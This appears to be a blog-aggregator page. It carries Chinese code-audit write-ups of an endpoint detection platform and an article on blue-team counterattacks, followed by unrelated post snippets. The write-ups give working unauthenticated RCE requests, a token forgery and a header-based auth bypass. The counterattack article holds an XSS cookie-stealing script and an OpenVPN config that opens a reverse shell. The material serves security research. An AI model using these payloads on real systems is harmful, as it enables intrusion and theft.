md5(字段random)的值，所以我们要提前先设置字段random为1，随后进行md5加密并将结果赋予字段md5即可 :
{"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"}最后进行Base64编码 :
eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==至此我们就绕过了token校验限制。
逻辑梳理
我们来梳理函数
get_interface_data的逻辑，其通过函数get_opr反回值带入函数get_app_name获取具体代码路径，而后当HTTP请求类型为POST时获取请求正文（ POST数据，如下函数get_body_data，将请求正文的JSON转为数组 ），通过构建数组将数据填充进去，并返回该数组。（ 简单梳理，具体请看代码 ）/** * @fun 根据协议body中的内容来构造data中的内容 * @param array $argv 输入的参数 * @return array $params 联动设备传来的body */ function get_body_data($argv){ $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf"; if(file_exists($ini_file)){ if (0 != strlen(ldb_post_json())) { $docker_data = ldb_get_post($argv); return $docker_data; } } $params = array(); if(0 != strlen(ldb_post_json())) { $params = ldb_get_post($argv); } return $params; }我们已经知道了函数
get_interface_data的逻辑，再跟进调用其的函数ldb_execute_app即可。ldb_execute_app 函数分析
阅读过«对某终端检测响应平台权限绕过漏洞的审计流程»该分享的读者，大致就能理解这里函数的作用了：
/** * @func APP通用入口函数，将联动发来的信息转换成EDR通用的前后端接口 * @param array $args 输入的参数 */ function ldb_execute_app($args) { try { //构造成业务统一处理的接口 $interface_data = get_interface_data($args); // 检验请求信息是否包含注入关键字 $ignore_check = read_ignore_check_info(); if(mongo_injection_check($interface_data, $ignore_check) === TRUE) { response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR); ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data)); return ; } //特殊开权限控制函数 special_auth($interface_data); //授权控制 authorize_check($interface_data); ldb_debug("interface_data is " . json_encode($interface_data)); $app = $interface_data["app_args"]["name"]; $constructor = ldb_mapreduce_invoke("get", $app); // 构建应用对象 $instance = call_user_func($constructor); $ret = call_user_func($instance->main, $instance, $interface_data); //响应出错返回相应的状态码 if ($ret) { $err_code = call_user_func($instance->res, $instance); response_linkage_dev_msg($err_code); } // 销毁应用对象 call_user_func($instance->destroy, $instance); } catch(Exception $e){ //通知联动设备 $err_msg = $e->getMessage(); response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR); } } // 入口函数 $args = ldb_argv_get(); ldb_execute_app($args);ldb_execute_app函数传入参数为变量$args，该值通过函数ldb_argv_get获取，跟进发现就是获取的 URI 部分。/** * 获取命令行参数 * @return array 返回命令行参数 */ function ldb_argv_get() { if (ldb_is_cli()) { global $argv; return $argv; } $args = array($_SERVER['PHP_SELF']); return $args; }逻辑梳理与漏洞利用
由于之前的步骤都是逆推，这里我们直接顺着推一遍流程就能理清整个思路了。
假设在此我们访问的是
/api/edr/sangforinter/v2/cssp/slog_client，那就是其传入函数get_interface_data，由于需要过check_token，所以访问地址需为/api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=。而后通过函数
get_opr得到了exec_slog_action，再根据exec_slog_action获得了具体代码路径app.web.device_linkage.process_cssp，最后根据opr、app_name以及data（ 这里的data需为POST请求方式时才有 ）构造数组返回，这里测试就是GET请求，最后返回数据为：array(2) { ["app_args"]=> array(1) { ["name"]=> string(35) "app.web.device_linkage.process_cssp" } ["opr"]=> string(16) "exec_slog_action" }变量
$interface_data获取了函数get_interface_data的返回值，由于ldb_execute_app函数代码很多，不过多赘述，有几处授权校验的函数，简单跟踪下看下注释就能了解CSSP请求不处理授权：
回调调用
app.web.device_linkage.process_cssp的函数main传入变量$instance、$interface_data（ 函数get_interface_data的返回值 ），那我们跟进main函数，又是回调函数调用exec_slog_action并传入变量$object、$params（ 函数get_interface_data的返回值 ）。
这样无法造成命令执行，我们在之前
exec_slog_action 匿名函数分析中了解到其要获取$params['data']['params']带入命令执行语句中，由于我们测试的是GET请求，函数get_interface_data的返回值并没有data['params']这个key，而刚好函数get_interface_data中的变量$interface_data["data"]会获取函数get_body_data处理请求正文的JSON内容转为数组的结果，所以我们修改请求方法为POST，请求正文为：{"params":"|whoami"}，即可进行命令注入从而执行。// {"params":"|whoami"}` -> array('params' => '|whoami') $interface_data["data"] = array('params' => '|whoami');
POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1 Host: 192.168.31.136 Connection: close Content-Length: 20 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: https://192.168.31.136 Referer: https://192.168.31.136/ui/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 {"params":"|whoami"}最后
熟悉了解了整个流程之后，其实还有更多利用点可以挖掘～本文就不过多的赘述了。
- 博客 Vulkey_Chen's Blog 2020-09-03 00:00:00
某终端检测响应平台代码审计挖掘（权限绕过）
前言
前几天收到某终端检测响应平台代码未授权RCE的漏洞情报，基本上被师傅们玩的差不多了，基于其他社群传出的源代码进行代码审计挖掘。
本文不会对太多细节进行描述，仅做一个流程分析和梳理，文中若有不当之处还望各位师傅斧正。
审计流程
其源代码的大致目录如下：
. ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip其中
/web为Web服务目录，文件均可通过HTTP服务进行访问，顾我们从该目录下的文件下手审计。ldb_mapreduce_invoke 函数分析
不是一把梭的0day都不叫0day，寻找能勾起兴趣的文件，发现了它（文件名带有
upload）/bin/web/divideUploader.php：if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开，后台登录时间不刷新 $update = (isset($_POST['auto']) && $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... }访问没有做限制，只要HTTP请求类型为
POST就进入上传功能代码逻辑流程，三元运算很简单不用看，我们来看下这段代码：ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);跟进函数：
ldb_mapreduce_invoke，文件：/bin/mapreduce/core.php（line 19）：/* * 全局的mapreduce对象，提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口，变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数，如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce->$func, $params); }接收自定义参数列表：
$params = func_get_args();（ 该函数以数组形式返回，获取当前函数的所有传入参数值 ），在这就是array('call_method','util.common.auth', 'app_auth_check', $update)赋值（
$params[0] = 'call_method'）$func，检查$func属性是否存在于指定的类（$ldb_mapreduce）中：$func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; }最后
call_user_func函数回调，调用$ldb_mapreduce->call_method方法，继续跟进此方法（ line 239 ）：$ldb_mapreduce->call_method = function ($params) { if (count($params) < 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object->get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object->$method)) { return false; } return call_user_func_array($object->$method, $params); };简单理解，这是一个匿名函数，形参
$params（ 在这里也就表示array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update)），判断$params数组长度是否小于3，在这里明显不小于，所以继续跟进赋值变量，其一一对应内容为：$object = array_shift($params); // -> $ldb_mapreduce $id = array_shift($params); // -> util.common.auth $method = array_shift($params); // -> app_auth_check赋值完成之后进入回调函数：
$object = call_user_func($object->get, array($object, $id));，调用$ldb_mapreduce->get传入array($object, $id))，接下来继续跟进$ldb_mapreduce->get：/* * 获取组件 * @param array $params 参数数组，array(对象, 名称) * @return callable 返回组件构造器，如果没有构造器返回null */ $ldb_mapreduce->get = function ($params) use(&$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object->$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object->$component); if (!array_key_exists($id, $object->$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object->$component; return $components[$id]; };由于代码过长，很多可以直接在本地调试输出，大概解释下这里的意思，就是将
$id = 'util.common.auth';处理变成路径$php = dirname(__FILE__)."/$path.php";，结果就是/bin/mapreduce/util/common/auth.php
接着require_once（ 包含 ）这个文件，最后将
auth.php文件公开的注册接口返回：
至此，我们对
ldb_mapreduce_invoke函数的分析就差不多了，最后又是一个call_user_func回调函数调用auth.php接口app_auth_check：return call_user_func_array($func, $params);app_auth_check 函数分析
app_auth_check函数就是检测当前是否具备访问接口权限下，代码如下：$app_auth_check = function ($update=true) use(&$login_authed_check, &$sess_keyvalue_get, &$timeout_check, &$dc_session_destroy, &$login_redirect, &$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app，则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆，则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; };逐个逻辑跟进分析即可，最后发现特权IP登陆的判断有问题：
$is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; }跟进函数
super_ip_check，发现这里获取的了HTTP请求头（$_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For）与$super_ip进行判断：$super_ip_check = function() use(&$get_super_ip, &$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } };阅读以上代码知道
$super_ip是通过回调函数调用get_super_ip的结果，这里还需要再跟进get_super_ip函数：$get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; };在这段代码中我们得知其需要获取
cssp_super_ip.ini文件的内容赋值变量$super_ip再进行return $super_ip，但默认环境下该文件不存在的，也就是说变量$super_ip默认就是空的。那么我们只需要满足
$user_addr == $super_ip这个条件，即可绕过这个函数（权限）检测，简而言之就是请求接口时带有请求头Y-Forwarded-For:即可。漏洞利用
继续跟进
divideUploader.php发现没办法直接利用（限制了上传路径和后缀）：
只能上传指定后缀到指定目录：
全局搜索
app_auth_check函数发现/bin/mapreduce/目录下的很多接口都在最开始加了一层app_auth_check函数用来做权限判断，那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。只能在
/bin/web可直接访问目录下寻找，发现/bin/web/launch.php文件，其文件注释就表明了这个文件是应用程序通用执行入口，可以通过分析的方式构建请求（ 由于分析逻辑较简单这里就不带大家过一遍了，可以自自行分析 ），也可以通过前台的方式直接抓到该文件的请求：
POST请求传递JSON数据：
{"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}}其对应关系如下
app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数这里简单翻了下
/bin/mapreduce/目录下的一些接口，根据其判断逻辑构建请求包，这里以获取所有终端列表为例（ 未授权 ）：未加
Y-Forwarded-For头请求，提示需要登陆：
添加后权限绕过，直接可以获取数据：
最后
此漏洞危害可以多接口搭配未授权下发脚本，控制所有植入Agent的服务器权限，影响版本：<3.2.21
吐槽：这套产品的代码逻辑真的太花里胡哨了，逻辑绕来绕去，阅读时可能需要一定耐心，文中省略了一些细节，但我已经尽量写的让大家能明白整个核心逻辑，感谢阅读。
- 博客 Vulkey_Chen's Blog 2020-09-03 00:00:00
某终端检测响应平台代码审计分析
前言
2020年08月17日收到一条漏洞情报，某终端检测响应平台代码未授权RCE：
/tool/log/c.php?strip_slashes=system&host=id
参数：host，可以修改任意的系统命令进行执行。
原理分析
首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制，所以我们只需要看一下请求参数是如何传递的，搜索关键词：
$_POST $_GET $_REQUEST在代码第144行、146行分别调用了变量匿名函数，并将
$_REQUEST作为传递参数：$show_form($_REQUEST); ... $main($_REQUEST);先跟进$show_form这个匿名函数：
$show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; };变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是
array("strip_slashes"=>"system","host"=>"id");接下来执行extract($params);，后进入如下代码：
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";在这个过程中就产生了漏洞，想要了解具体原因，我们需要了解extract函数的作用，该函数是根据数组的
key=>value创建变量$key=value（官方解释：extract — Import variables into the current symbol table from an array）知道其函数作用之后，我们就大致明白漏洞原因了。
首先函数传入参数值为
array("strip_slashes"=>"system","host"=>"id");经过extract()函数后，赋值了2个变量：
$strip_slashes = 'system'; $host = 'id';在第91行代码，变量$host利用三元运算重新赋值$strip_slashes($host)
而实际上其赋值内容是函数
system('id')的返回结果，这也就造成了命令执行漏洞。同类漏洞寻找
首先在全局文件中搜索
$_GET、$_POST、$_REQUEST和extract(，其次在这些文件中使用正则寻找变量函数传递变量：\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)Linux grep寻找命令：
grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"简单分析获得了另外三处RCE：
/tool/php_cli.php?strip_slashes=system&code=id /tool/ldb_cli.php?strip_slashes=system&json=id /tool/mdd_sql.php?strip_slashes=system&root=id但无法真正利用，三处文件开头都有一个类似文件存活的判断，不存在代码则die退出，而默认环境上是存在：
最后
该套程序还有诸多漏洞未被披露出来，建议采用ACL控制访问或下线该业务，等待官方升级补丁。
- 博客 Vulkey_Chen's Blog 2020-09-03 00:00:00
浅谈蓝队反制手段
前言
网络安全攻防演习在国内已经逐渐常态化，从行业、区域（省份、地市）到部级…
2020年1月份开始到现在可以说基本上每个月都有1-3场HW，红与蓝的对抗从未停息。
红队的攻击技巧可以无穷无尽（扫描器、社工、0day、近源…），但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外，似乎实在是没有什么其他的防御手段了。
笔者在参与的几场攻防演习项目中担任“蓝队防守”角色，就发现了这一缺陷，似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备，都只有乖乖的等待被“收割”。
转换一个思维，化被动为主动，尝试用“攻击”思路代入“防守”中，对“红队”进行反向捕获（反制）。
本文将总结案例和“反制”手段，文中不足之处还望各位斧正。
反制手段
蜜罐篇
蜜罐设备
大部分厂商为了争取得到一些分数，都会采购/借用一些厂商的蜜罐设备，但蜜罐也分两类：传统、现代，两者从本质上还是有一定区别的，这里我简单说一下自己的理解。
传统蜜罐：蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的防御能力。
现代蜜罐：除了捕获分析攻击行为外，各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”，而本质上攻击者画像是将第三方厂商漏洞转为画像探针，利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息，此类漏洞多半为前端类漏洞，例如：JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。
所以传统蜜罐厂商在这一块的被“需要”不大，而现代蜜罐厂商在这一块往往有需要性很多，就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。
蜜罐的反制
现代化蜜罐都做了哪些反制的操作呢？
- 可克隆相关系统页面，伪装“漏洞”系统
- 互联网端投饵，一般会在Github、Gitee、Coding上投放蜜标（有可能是个单独的网站地址、也有可能是个密码本引诱中招）
- 利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份（网络画像）
这样其实一条捕获链就出现了（仅仅是举例，其实更多的是对方在做信息收集的时候探测到了此端口）：
蜜罐的一些功能细节不过多赘述，比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。
注：在实战演习过程中，仍然有许多攻击者中招，蜜罐会存储身份数据，并且会回传至厂商进行存储。
场景篇
主动攻击“攻击IP”
防守日常就是看流量、分析流量，其中大部分都为扫描器流量，由于一般扫描器都会部署在VPS上，因此我们可以结合流量监测平台反向扫描。
导出演习期间攻击IP列表，对IP进行端口扫描，从Web打入攻击IP机器内部。
发现了一堆攻击IP机器上Web服务的漏洞：SQL注入、弱口令…拿下了一堆机器，也发现了大部分都是“被控主机”，而非购买的VPS，上面也大多是一些正常业务、非法业务在运转。
除此之外，我们对所拿下的主机进行信息收集，发现了一个有意思的点，大部分机器为WAMP（Windows + Apache + Mysql + PHP），而根目录都存在着一个文件
images.php。
这是一个PHP脚本后门，我们通过分析该PHP文件又拿下数十台机器，对每台机器进行日志收集，分析IP关联性…整理报告上交裁判组判定。
邮件钓鱼反制
安全防护基础较好的厂商，一般来说除了出动0day，物理近源渗透以外，最常见的就是邮件钓鱼了，在厂商收到邮件钓鱼的情况下，我们可以采取化被动为主动的方式，假装咬钩，实际上诱导攻击者进入蜜网。
北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞，该漏洞在不需身份认证的情况下即可远程触发，危害与影响面极大。 受影响操作系统版本： | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害，由总行信息科技部研究决定，先推行紧急漏洞加固补丁，确保业务网、办公网全部修补漏洞，详情请阅读加固手册。 加固补丁程序解压密码：xxxx xx信息科技部 xxxxx xxx年xx月xx日在某次演习期间，我们防守的客户单位就收到了钓鱼邮件，庆幸的是客户总体安全意识很强，加上有邮件沙箱的加持，并没有实际人员中招，而我们将计就计，部署一套虚假的内网环境，伪造钓鱼邮件中招假象，中招人员画像和机器环境编排：
名字：许晋 （jinxu）
身份：巡检职员
平时上机内容：看视频、打游戏、巡检
系统软件：Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture….
系统环境：除了部署一些常见的系统软件，我们还要创建一系列工作文档（手工伪造、由客户提供非敏感公开数…），并在众多的工作文档中携带了我们部署的免杀后门（伪装成VPN安装包或办公软件）。
目的：点开钓鱼邮件的附件，假装中招后，让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本，并结合VPN安装包，使得攻击者下载VPN安装包并进行安装，从而进行反向控制。
其中具体细节不过多赘述，套路都一样，在多次演习中都成功的反制到了攻击队的VPS，甚至在演习中我们拿下了攻击队的终端PC…
盲打攻击反制
盲打攻击算是在演习中比较不常见的了，因为其效率不高，没办法直接的直控权限，但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入，比较常见的就属于盲打XSS了。
一般盲打XSS都具备一个数据回传接口（攻击者需要接收Cookie之类的数据），接口在JavaScript代码中是可以寻找到的，我们可以利用数据回传接口做2件事情：
- 打脏数据回传给XSS平台（捣乱）
- 打虚假数据回传给XSS平台（诱导）
通常选择第二种方式更有意义，当然实在不行的情况下我们还是可以选择捣乱的…
首先，我们获取到了XSS盲打的代码：
'"><sCRiPt sRC=https://XXXX/shX36></sCrIpT>跟进SRC属性对应值（地址），获得如下JavaScript代码：
(function(){(new Image()).src='https://XXXX/xss.php?do=api&id=shX36&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&id=shX36&url='+escape(document.location)+'&cookie='+escape(document.cookie)};通过该段代码我们可以知道数据都回传到了这个接口上：
https://XXXX/xss.php?do=api&id=shX36&location=地址&toplocation=地址&cookie=Cookie信息&opener=我们制定了一个计划：发送假数据前往攻击者所使用的XSS信息接收平台，诱导攻击者进入蜜罐。
资源准备：公网域名解析蜜罐地址（需要客户网络安全部门具备一定的权利），蜜罐（需要具备蜜罐产品）伪造假后台，并部署虚假准入客户端下载；（【细节】当攻击者Cookie伪造进后台时会提示：当前登录IP不在准入名单）
万事俱备只欠东风，对应参数传入虚假诱导数据（Location地址为查看留言信息的地址，Toplocation为引用该界面的地址，将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击）发送过去，等待攻击队上钩。
技巧篇
技巧篇不过多讲解，懂得自然懂。
虚假备份文件
配合蜜罐部署虚假漏洞，例如备份文件（WWW.rar）配合CVE-2018-20250漏洞。
参考：https://github.com/WyAtu/CVE-2018-20250
OpenVPN配置后门
OpenVPN配置文件（OVPN文件，是提供给OpenVPN客户端或服务器的配置文件）是可以修改并加入命令的。
OVPN文件最简单的形式如下：
remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun以上文件表示，客户端会以开放的，不用身份验证或加密方式去连接IP为192.168.31.137的远程服务，在此过程中，会建立一种名为tun的路由模式，用它来在系统不同客户端间执行点对点协议，例如，这里的tun路由模式下，tun客户端为10.200.0.2，tun服务端为10.200.0.1，也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例，真正应用环境中的OVPN文件随便都是数百行，其中包含了很多复杂的功能配置。
OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令，官方文档中有说明：https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/
成功启用 TUN/TAP 模式后的 cmd 命令。
该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号，或者是反斜杠来强调，中间用空格区分。up命令可用于指定路由，这种模式下，发往VPN另一端专用子网的IP流量会被路由到隧道中去。
本质上，up命令会执行任何你指向的脚本程序。如果受害者使用的是支持
/dev/tcp的Bash命令版本，那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'"
需要注意的是，up 命令需要成功连接主机才会执行，也就是说192.168.31.137需要真实存在。
兵器漏洞
可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞（需要一定的技术水平），或利用历史漏洞部署相关环境进行反打，例如蚁剑：https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md
历史版本中出现诸多XSS漏洞->RCE：
文末
只要思维活跃，枯燥无味的一件事情也可以变得生动有趣，生活如此，工作亦如此。
蓝队反制，需要具备这几个条件才能淋漓尽至的挥洒出来：
- 客户安全相关部门的权力要高
- 以自家厂商为主导的防守项目
- 最好具备现成的现代蜜罐产品
未来，攻防对抗演习不仅仅是前几年所展示的那样：蓝队只要知道防守手段；而趋势将会慢慢的偏向于真正的攻防，蓝队不仅要会基本的防守手段，还要具备强悍的对抗能力，与红队进行对抗，这对蓝队成员的攻防技术水平也是一种更高的考验。
最后的最后：HACK THE WORLD - TO DO IT.
Reference
对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1
从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html
- 博客 轶哥博客 2020-09-01 13:13:51<>昨日遇到客户反馈
WeRTC在安卓平台出现有视频无声音的故障。<><>系统运行在
Adroid 7.1平台，是小型公证一体机。采用自编译Chromium内核封装We页面混合开发实现。 - 博客 构建我的被动收入 2020-08-30 08:00:00本文描述了笔者开发一个基于 AWS Serverless 技术的应用的全过程。
- 博客 Jiajun的编程随想 2020-08-26 08:00:00《StackGuard的作用》最近在重新翻Go runtime的源码，发现一个新知识点，叫做StackGuard。此为学习记录。## 什么是StackGuard...
- 博客 Jiajun的编程随想 2020-08-26 08:00:00《Goroutine是如何处理栈的？》为什么Go的栈是无限大小的？为什么Go的栈策略从 segmented stacks 切换到 contiguous stacks？逃逸分析是什么？这篇文章是我的学习记录，分别解答了上述问题。Go在1.3以前，是使用一种叫做 segmented stacks 的栈策略。而1.3时，换成了 contiguous stacks ，我们分别来了解一下这两种策略...
- 博客 轶哥博客 2020-08-25 13:54:46<>
iframe控制显示范围，显示目标网页的特定区域，这对于特定场景非常有用，是一种简单高效的系统整合方案。<>在新版本的浏览器中，vace和hace已经失效了。因此iframe显示特定内容只能采取嵌套iframe的方案。<>例如，控制iframe仅显示htt://www.wyr.me的头像部分。 - 博客 贼拉正经的技术博客 2020-08-23 10:33:561388
- 博客 Jiajun的编程随想 2020-08-22 08:00:00《Go DiskQueue源码阅读》如何使用Go来实现一个简单的基于磁盘的FIFO队列呢？我们来看看 [go-diskqueue](https://github.com/nsqio/go-diskqueue) 的实现，它是NSQ中用来持久化的一个库，我们借助它来了解一下，如何实现一个基于磁盘的队列...
- 博客 轶哥博客 2020-08-20 20:09:34<>cotur是主流的开源
TURNadSTUN服务器软件，支持诸多规范、功能和数据库。cotur的出现对于WeRTC的发展有着举足轻重的影响。<>鉴于官方文档已经非常详尽，本文仅列举几个常见问题，具体的部署方法不再一一赘述。<>cotur开源仓库地址：htt://githu.com/cotur/cotur - 博客 轶哥博客 2020-08-20 18:52:31<>
Vite是一个尤大开发的革命性的We构建工具。<>Vite是基于浏览器原生ES Module imort的构建工具。很多场景下，Vite可以代替weack，开发调试的速度有了非常大的提升。Vite支持对单个文件的热更新，调试一行代码等很久的情况或将成为历史。<>vite是法语中“ fat”的意思，其发音是/vit/。 - 博客 轶哥博客 2020-08-19 13:45:08<>MacOS使用双网卡连接不同网络时，通常是不能同时使用内网外网系统的。这是由于计算机不知道那些网段一定属于内网导致。<>温馨提示：
单台计算机同时接入内网外网在大部分单位都属于违规操作，非得到授权人员，切勿以身试法。 <>双网卡不需要都是有线或者都是无线，外网用WIFI，内网用有线，也属于使用双网卡。 - 博客 轶哥博客 2020-08-16 19:31:24
- 博客 Jiajun的编程随想 2020-08-16 08:00:00《NSQ源码分析》简单的翻了一下NSQ的源码，看看它是怎么实现的。我首先是从nsqtail开始看的，先从简单的入手。之后我看了nsqlookupd和nsqd。本文只讲nsqd...
